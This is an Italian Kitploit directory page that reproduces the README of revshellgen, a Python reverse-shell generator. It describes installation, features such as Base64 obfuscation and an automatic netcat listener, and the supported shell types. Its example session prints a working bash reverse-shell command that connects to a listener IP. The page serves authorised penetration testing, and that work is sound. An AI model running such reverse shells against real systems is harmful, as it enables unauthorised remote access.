Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
revshellgen — Generatore di reverse shell scritto in Python 3. | Kitploit
Strumenti/GitHubGitHub/t0thkr1s/revshellgen
Generazione di PayloadExploitPenetration TestingCommand and ControlRed TeamingGenerazione di ShellcodeSviluppo Payload
GitHubt0thkr1s/revshellgen

revshellgen

Generatore di reverse shell scritto in Python 3.

Vedi Repository
565941 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

🚀 RevShellGen

Generatore di Reverse Shell

Python License Stars

CI Tests PyPI

Automatizza la generazione di reverse shell con stile
Genera, codifica e cattura reverse shell senza fastidi


Caratteristiche • Installazione • Utilizzo • Tipi di Shell • Contribuire

📖 Informazioni

RevShellGen è un potente strumento da riga di comando che semplifica il processo di generazione di comandi per reverse shell. Niente più ricerche di sintassi, niente più codifiche manuali, niente più mal di testa per la configurazione. Questo strumento gestisce tutto con un'interfaccia intuitiva.

🎯 Caratteristiche principali

  • 🖥️ CLI interattiva - Interfaccia intuitiva basata su menu
  • 🔄 Codifica automatica - Supporto per codifica URL e Base64
  • 📋 Integrazione clipboard - Copia automatica dei comandi generati
  • 🌐 Rilevamento rete - Scoperta automatica dell'indirizzo IP
  • 🎨 Numerosi tipi di shell - Bash, Python, Netcat, PowerShell e altri
  • 🔊 Listener integrato - Impostazione automatica del listener netcat/ncat
  • 🍎 Multi-piattaforma - Supporto completo per Linux e macOS
  • 📚 Guida all'upgrade TTY - Istruzioni complete per potenziare la shell

🚀 Avvio rapido

Opzione 1: Installazione da PyPI

root@kitploit:~
# Installa da PyPI
pip install revshellgen

# Esegui lo strumento
revshellgen

Opzione 2: Installazione da sorgente

root@kitploit:~
# Clona il repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Installa le dipendenze
pip3 install -r requirements.txt

# Esegui lo strumento
python3 revshellgen.py  # oppure python3 revshellgen_cli.py

📦 Installazione

Prerequisiti

  • Python 3.6 o superiore
  • pip (gestore pacchetti Python)

Dipendenze

RevShellGen richiede i seguenti pacchetti Python:

Metodi di installazione

Metodo 1: Usando requirements.txt (Il più semplice)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Metodo 2: Usando setup.py (Tradizionale)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Metodo 3: Ambiente virtuale (Consigliato per isolamento)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Su Windows: venv\Scripts\activate
pip3 install -r requirements.txt
Metodo 4: Installazione manuale
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Metodo 5: Installazione utente (senza sudo)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Note specifiche per piattaforma

🐧 Linux

root@kitploit:~
# Potrebbe essere necessario installare python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# Installa ncat per un miglior supporto listener
brew install nmap  # Include ncat

💻 Utilizzo

Flusso di lavoro base

  1. Avvia lo strumento

    root@kitploit:~
    python3 revshellgen.py
    
  2. Configura la tua reverse shell

    • Seleziona il tuo indirizzo IP (rilevato automaticamente)
    • Scegli una porta (es. 4444, 9001)
    • Seleziona il tipo di shell (bash, python, ecc.)
    • Scegli la codifica (nessuna, URL, Base64)
  3. Il comando generato viene automaticamente copiato negli appunti

  4. Avvia il listener (automatico)

  5. Esegui il comando sulla macchina di destinazione

📸 Screenshot


Selezione Shell

Generazione Comando

🐚 Shell supportate

🔧 Funzionalità avanzate

Upgrade della Shell TTY

RevShellGen ora include istruzioni complete per l'upgrade TTY. Dopo aver catturato una shell, lo strumento fornisce:

  • Metodi PTY spawn passo-passo
  • Rilevamento e configurazione della dimensione del terminale
  • Molteplici tecniche di upgrade per diversi ambienti
  • Suggerimenti per la risoluzione dei problemi comuni
  • Comandi di riferimento rapido

Opzioni di codifica

  • Nessuna - Output del comando grezzo
  • Codifica URL - Per sfruttamento di applicazioni web
  • Base64 - Per offuscamento dei comandi

Opzioni del listener

Lo strumento rileva automaticamente e utilizza la variante netcat appropriata:

  • ncat (preferito, dal pacchetto nmap)
  • nc (netcat tradizionale)
  • Supporto per la sintassi nc specifica di macOS

📝 Esempio di sessione

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELEZIONA IP ] ----------
[ x ] 192.168.1.10 su eth0
[   ] 10.0.0.5 su tun0
[   ] Specifica manualmente

---------- [ SPECIFICA PORTA ] ----------
[ # ] Inserisci il numero di porta : 4444

---------- [ SELEZIONA COMANDO ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ COMANDO REVERSE SHELL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Comando copiato negli appunti!
[ + ] Avvio listener sulla porta 4444...

🤝 Contribuire

I contributi sono benvenuti! Sentiti libero di inviare una Pull Request. Per modifiche sostanziali, apri prima un issue per discutere cosa vorresti cambiare.

Configurazione di sviluppo

root@kitploit:~
# Clona il tuo fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# Crea un branch
git checkout -b feature/nome-della-tua-funzionalità

# Apporta le modifiche e crea un commit
git add .
git commit -m "Aggiungi la tua funzionalità"

# Carica sul tuo fork
git push origin feature/nome-della-tua-funzionalità

# Crea una Pull Request

🐛 Problemi e supporto

Hai trovato un bug o hai un suggerimento? Per favore apri un issue su GitHub.

📜 Licenza

Questo progetto è distribuito con licenza GNU General Public License v3.0 - vedi il file LICENSE per i dettagli.

⚠️ Disclaimer

Questo strumento è inteso esclusivamente per test di penetrazione autorizzati e scopi educativi.

L'uso di questo strumento contro sistemi di cui non si possiede la proprietà o per i quali non si ha esplicita autorizzazione è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità per usi impropri o danni causati da questo programma.

🙏 Riconoscimenti

  • PayloadsAllTheThings - Riferimenti per reverse shell
  • ropnop - Tecniche di upgrade TTY
  • PentestMonkey - Cheat sheet per reverse shell
  • Tutti i contributori e gli utenti di questo strumento

Realizzato con ❤️ da t0thkr1s
Metti una stella ⭐ a questo repository se lo trovi utile!
Scarica lo strumento
PacchettoScopo
pyperclipOperazioni sugli appunti
coloramaColori nel terminale
readcharInput interattivo da tastiera
netifacesRilevamento interfacce di rete
Tipo di ShellDescrizionePiattaforma
BashReverse shell TCP BashLinux/Unix
PythonReverse shell basata su PythonMultipiattaforma
NetcatReverse shell nc tradizionaleLinux/Unix
Netcat mkfifoNetcat con named pipeLinux/Unix
PerlReverse shell basata su PerlMultipiattaforma
PHPReverse shell PHPMultipiattaforma
RubyReverse shell basata su RubyMultipiattaforma
JavaReverse shell JavaMultipiattaforma
AWKReverse shell AWKLinux/Unix
SocatReverse shell SocatLinux/Unix
Socat TTYSocat con TTY completoLinux/Unix
TelnetReverse shell TelnetLinux/Unix
PowerShellWindows PowerShellWindows